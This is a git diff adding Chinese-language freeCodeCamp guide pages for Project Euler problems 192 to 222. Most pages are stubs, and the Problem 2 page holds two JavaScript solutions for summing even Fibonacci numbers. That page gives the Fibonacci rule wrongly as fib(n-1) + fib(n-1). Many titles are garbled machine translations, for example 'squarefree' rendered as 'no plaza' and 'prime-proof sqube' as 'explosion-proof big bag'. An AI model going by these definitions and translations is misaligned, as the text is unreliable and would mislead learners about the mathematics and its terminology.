diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-192-best-approximations/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-192-best-approximations/index.md
new file mode 100644
index 0000000000..600852a7c6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-192-best-approximations/index.md
@@ -0,0 +1,9 @@
+---
+title: Best Approximations
+localeTitle: 最佳近似值
+---
+## 问题192：最佳近似值
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-192-best-approximations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-193-squarefree-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-193-squarefree-numbers/index.md
new file mode 100644
index 0000000000..750788a779
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-193-squarefree-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Squarefree Numbers
+localeTitle: 无广场数字
+---
+## 问题193：无广场数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-193-squarefree-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-194-coloured-configurations/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-194-coloured-configurations/index.md
new file mode 100644
index 0000000000..55afd0df2a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-194-coloured-configurations/index.md
@@ -0,0 +1,9 @@
+---
+title: Coloured Configurations
+localeTitle: 彩色配置
+---
+## 问题194：彩色配置
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-194-coloured-configurations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-195-inscribed-circles-of-triangles-with-one-angle-of-60-degrees/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-195-inscribed-circles-of-triangles-with-one-angle-of-60-degrees/index.md
new file mode 100644
index 0000000000..d7c94265d2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-195-inscribed-circles-of-triangles-with-one-angle-of-60-degrees/index.md
@@ -0,0 +1,9 @@
+---
+title: Inscribed circles of triangles with one angle of 60 degrees
+localeTitle: 刻有三角形的圆圈，一个角度为60度
+---
+## 问题195：内切三角形的圆形，一个角度为60度
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-195-inscribed-circles-of-triangles-with-one-angle-of-60-degrees/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-196-prime-triplets/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-196-prime-triplets/index.md
new file mode 100644
index 0000000000..7f0efefdf1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-196-prime-triplets/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime triplets
+localeTitle: Prime三胞胎
+---
+## 问题196：Prime三胞胎
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-196-prime-triplets/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-197-investigating-the-behaviour-of-a-recursively-defined-sequence/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-197-investigating-the-behaviour-of-a-recursively-defined-sequence/index.md
new file mode 100644
index 0000000000..14ec6d516c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-197-investigating-the-behaviour-of-a-recursively-defined-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating the behaviour of a recursively defined sequence
+localeTitle: 调查递归定义的序列的行为
+---
+## 问题197：研究递归定义的序列的行为
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-197-investigating-the-behaviour-of-a-recursively-defined-sequence/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-198-ambiguous-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-198-ambiguous-numbers/index.md
new file mode 100644
index 0000000000..ed0c0a86cc
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-198-ambiguous-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Ambiguous Numbers
+localeTitle: 模棱两可的数字
+---
+## 问题198：模糊数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-198-ambiguous-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-199-iterative-circle-packing/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-199-iterative-circle-packing/index.md
new file mode 100644
index 0000000000..ec71bdf6f6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-199-iterative-circle-packing/index.md
@@ -0,0 +1,9 @@
+---
+title: Iterative Circle Packing
+localeTitle: 迭代圆包装
+---
+## 问题199：迭代圆包装
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-199-iterative-circle-packing/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-2-even-fibonacci-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-2-even-fibonacci-numbers/index.md
new file mode 100644
index 0000000000..578f76eb8c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-2-even-fibonacci-numbers/index.md
@@ -0,0 +1,63 @@
+---
+title: Even Fibonacci Numbers
+localeTitle: 甚至斐波那契数字
+---
+## 问题2：甚至斐波纳契数
+
+### 方法：
+
+*   斐波那契序列是其中`fib(n) = fib(n-1) + fib(n-1)`的序列。
+    
+*   在这个挑战中，我们必须将序列中的所有偶数加到`nth`项。
+    
+*   `fiboEvenSum(10)` ：
+    
+*   到第10学期的顺序是： 1,2,3,5,8,13,21,34,55,89,144
+    
+*   上述序列中所有偶数的和为： 2 + 8 + 34 + 144 = 188
+    
+
+### 解：
+
+#### 基本解决方案 - 迭代：
+
+```js
+function fiboEvenSum(n) { 
+  let first = 1, second = 2, sum = 2, fibNum; // declaring and initializing variables 
+  if (n <= 1) return sum; // edge case 
+  for (let i = 2; i <= n; i++){  // looping till n 
+    fibNum = first + second;    // getting the ith fibonacci number 
+    first = second; 
+    second = fibNum; 
+    if (fibNum%2 == 0) sum+=fibNum;  // If even add to the sum variable 
+  } 
+  return sum; 
+ } 
+```
+
+#### 高级解决方案 - 递归：
+
+```js
+// We use memoization technique to save ith fibonacci number to the fib array 
+ function fiboEvenSum(n){ 
+  const fib = [1, 2]; 
+  let sumEven = fib[1]; 
+  function fibonacci(n){ 
+    if (n <= 1) return fib[n]; // base condition 
+    else if (fib[n]) return fib[n]; // if the number exists in the array we cache it and return 
+    else { 
+      fib[n] = fibonacci(n-1) + fibonacci(n-2); // otherwise calculcate and save it to the array 
+      if (fib[n]%2 == 0) sumEven+=fib[n];  //if the number is even, add it to the sumEven variable 
+      return fib[n]; 
+    } 
+  } 
+  fibonacci(n); // run the recursive function 
+  return sumEven; 
+ } 
+```
+
+*   [运行代码](https://repl.it/@ezioda004/Project-Euler-Problem-2-Even-Fibonacci-Numbers)
+
+### 参考文献：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Fibonacci_number)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-20-factorial-digit-sum/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-20-factorial-digit-sum/index.md
new file mode 100644
index 0000000000..62a935ebe2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-20-factorial-digit-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Factorial digit sum
+localeTitle: 因子数字和
+---
+## 问题20：因子数字和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-20-factorial-digit-sum/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-200-find-the-200th-prime-proof-sqube-containing-the-contiguous-sub-string-200/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-200-find-the-200th-prime-proof-sqube-containing-the-contiguous-sub-string-200/index.md
new file mode 100644
index 0000000000..2dfe816932
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-200-find-the-200th-prime-proof-sqube-containing-the-contiguous-sub-string-200/index.md
@@ -0,0 +1,9 @@
+---
+title: Find the 200th prime-proof sqube containing the contiguous sub-string "200"
+localeTitle: 找到包含连续子串“200”的第200个防爆大包
+---
+## 问题200：找到包含连续子串“200”的第200个防爆大概
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-200-find-the-200th-prime-proof-sqube-containing-the-contiguous-sub-string-200/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-201-subsets-with-a-unique-sum/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-201-subsets-with-a-unique-sum/index.md
new file mode 100644
index 0000000000..5598cfa402
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-201-subsets-with-a-unique-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Subsets with a unique sum
+localeTitle: 具有唯一总和的子集
+---
+## 问题201：具有唯一总和的子集
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-201-subsets-with-a-unique-sum/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-202-laserbeam/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-202-laserbeam/index.md
new file mode 100644
index 0000000000..1ec2cb963b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-202-laserbeam/index.md
@@ -0,0 +1,9 @@
+---
+title: Laserbeam
+localeTitle: 激光束
+---
+## 问题202：Laserbeam
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-202-laserbeam/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-203-squarefree-binomial-coefficients/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-203-squarefree-binomial-coefficients/index.md
new file mode 100644
index 0000000000..740cf6e212
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-203-squarefree-binomial-coefficients/index.md
@@ -0,0 +1,9 @@
+---
+title: Squarefree Binomial Coefficients
+localeTitle: 无平方二项系数
+---
+## 问题203：无平方二项系数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-203-squarefree-binomial-coefficients/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-204-generalised-hamming-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-204-generalised-hamming-numbers/index.md
new file mode 100644
index 0000000000..3f7b4111ba
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-204-generalised-hamming-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Generalised Hamming Numbers
+localeTitle: 广义汉明数
+---
+## 问题204：广义汉明数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-204-generalised-hamming-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-205-dice-game/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-205-dice-game/index.md
new file mode 100644
index 0000000000..5a783f9744
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-205-dice-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Dice Game
+localeTitle: 骰子游戏
+---
+## 问题205：骰子游戏
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-205-dice-game/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-206-concealed-square/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-206-concealed-square/index.md
new file mode 100644
index 0000000000..d426a616b8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-206-concealed-square/index.md
@@ -0,0 +1,9 @@
+---
+title: Concealed Square
+localeTitle: 隐藏的广场
+---
+## 问题206：隐藏的广场
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-206-concealed-square/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-207-integer-partition-equations/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-207-integer-partition-equations/index.md
new file mode 100644
index 0000000000..fb03f332c9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-207-integer-partition-equations/index.md
@@ -0,0 +1,9 @@
+---
+title: Integer partition equations
+localeTitle: 整数分区方程
+---
+## 问题207：整数分区方程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-207-integer-partition-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-208-robot-walks/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-208-robot-walks/index.md
new file mode 100644
index 0000000000..7355f50239
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-208-robot-walks/index.md
@@ -0,0 +1,9 @@
+---
+title: Robot Walks
+localeTitle: 机器人走路
+---
+## 问题208：机器人走路
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-208-robot-walks/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-209-circular-logic/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-209-circular-logic/index.md
new file mode 100644
index 0000000000..aa024c56bb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-209-circular-logic/index.md
@@ -0,0 +1,9 @@
+---
+title: Circular Logic
+localeTitle: 循环逻辑
+---
+## 问题209：循环逻辑
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-209-circular-logic/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-21-amicable-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-21-amicable-numbers/index.md
new file mode 100644
index 0000000000..f369558c20
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-21-amicable-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Amicable numbers
+localeTitle: 友善的数字
+---
+## 问题21：友好的数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-21-amicable-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-210-obtuse-angled-triangles/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-210-obtuse-angled-triangles/index.md
new file mode 100644
index 0000000000..20fd6d0e16
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-210-obtuse-angled-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Obtuse Angled Triangles
+localeTitle: 钝角三角形
+---
+## 问题210：钝角三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-210-obtuse-angled-triangles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-211-divisor-square-sum/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-211-divisor-square-sum/index.md
new file mode 100644
index 0000000000..78fbb5b6e8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-211-divisor-square-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Divisor Square Sum
+localeTitle: 除数平方和
+---
+## 问题211：除数平方和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-211-divisor-square-sum/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-212-combined-volume-of-cuboids/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-212-combined-volume-of-cuboids/index.md
new file mode 100644
index 0000000000..348d87b195
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-212-combined-volume-of-cuboids/index.md
@@ -0,0 +1,9 @@
+---
+title: Combined Volume of Cuboids
+localeTitle: 长方体的组合体积
+---
+## 问题212：长方体的组合体积
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-212-combined-volume-of-cuboids/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-213-flea-circus/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-213-flea-circus/index.md
new file mode 100644
index 0000000000..d81fe05407
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-213-flea-circus/index.md
@@ -0,0 +1,9 @@
+---
+title: Flea Circus
+localeTitle: 跳蚤马戏团
+---
+## 问题213：跳蚤马戏团
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-213-flea-circus/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-214-totient-chains/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-214-totient-chains/index.md
new file mode 100644
index 0000000000..12ba5602f6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-214-totient-chains/index.md
@@ -0,0 +1,9 @@
+---
+title: Totient Chains
+localeTitle: 欧拉链
+---
+## 问题214：Totient链
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-214-totient-chains/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-215-crack-free-walls/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-215-crack-free-walls/index.md
new file mode 100644
index 0000000000..cba3341012
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-215-crack-free-walls/index.md
@@ -0,0 +1,9 @@
+---
+title: Crack-free Walls
+localeTitle: 无裂缝墙
+---
+## 问题215：无裂缝墙
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-215-crack-free-walls/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-216-investigating-the-primality-of-numbers-of-the-form-2n2-1/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-216-investigating-the-primality-of-numbers-of-the-form-2n2-1/index.md
new file mode 100644
index 0000000000..3c30ef3cd3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-216-investigating-the-primality-of-numbers-of-the-form-2n2-1/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating the primality of numbers of the form 2n2-1
+localeTitle: 调查形式2n2-1的数字的素数
+---
+## 问题216：调查2n2-1形式的数字的素数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-216-investigating-the-primality-of-numbers-of-the-form-2n2-1/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-217-balanced-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-217-balanced-numbers/index.md
new file mode 100644
index 0000000000..5d47c52c4b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-217-balanced-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Balanced Numbers
+localeTitle: 平衡数字
+---
+## 问题217：平衡数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-217-balanced-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-218-perfect-right-angled-triangles/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-218-perfect-right-angled-triangles/index.md
new file mode 100644
index 0000000000..e332aa1c98
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-218-perfect-right-angled-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Perfect right-angled triangles
+localeTitle: 完美的直角三角形
+---
+## 问题218：完美的直角三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-218-perfect-right-angled-triangles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-219-skew-cost-coding/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-219-skew-cost-coding/index.md
new file mode 100644
index 0000000000..0ca0b10be8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-219-skew-cost-coding/index.md
@@ -0,0 +1,9 @@
+---
+title: Skew-cost coding
+localeTitle: 偏差成本编码
+---
+## 问题219：偏差成本编码
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-219-skew-cost-coding/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-22-names-scores/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-22-names-scores/index.md
new file mode 100644
index 0000000000..01aca479b3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-22-names-scores/index.md
@@ -0,0 +1,9 @@
+---
+title: Names scores
+localeTitle: 命名分数
+---
+## 问题22：命名分数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-22-names-scores/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-220-heighway-dragon/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-220-heighway-dragon/index.md
new file mode 100644
index 0000000000..9d3686a434
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-220-heighway-dragon/index.md
@@ -0,0 +1,9 @@
+---
+title: Heighway Dragon
+localeTitle: 高速公路龙
+---
+## 问题220：高速公路龙
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-220-heighway-dragon/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-221-alexandrian-integers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-221-alexandrian-integers/index.md
new file mode 100644
index 0000000000..3c50397257
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-221-alexandrian-integers/index.md
@@ -0,0 +1,9 @@
+---
+title: Alexandrian Integers
+localeTitle: 亚历山大整数
+---
+## 问题221：亚历山大整数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-221-alexandrian-integers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-222-sphere-packing/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-222-sphere-packing/index.md
new file mode 100644
index 0000000000..0e1699ef12
--- /dev/null
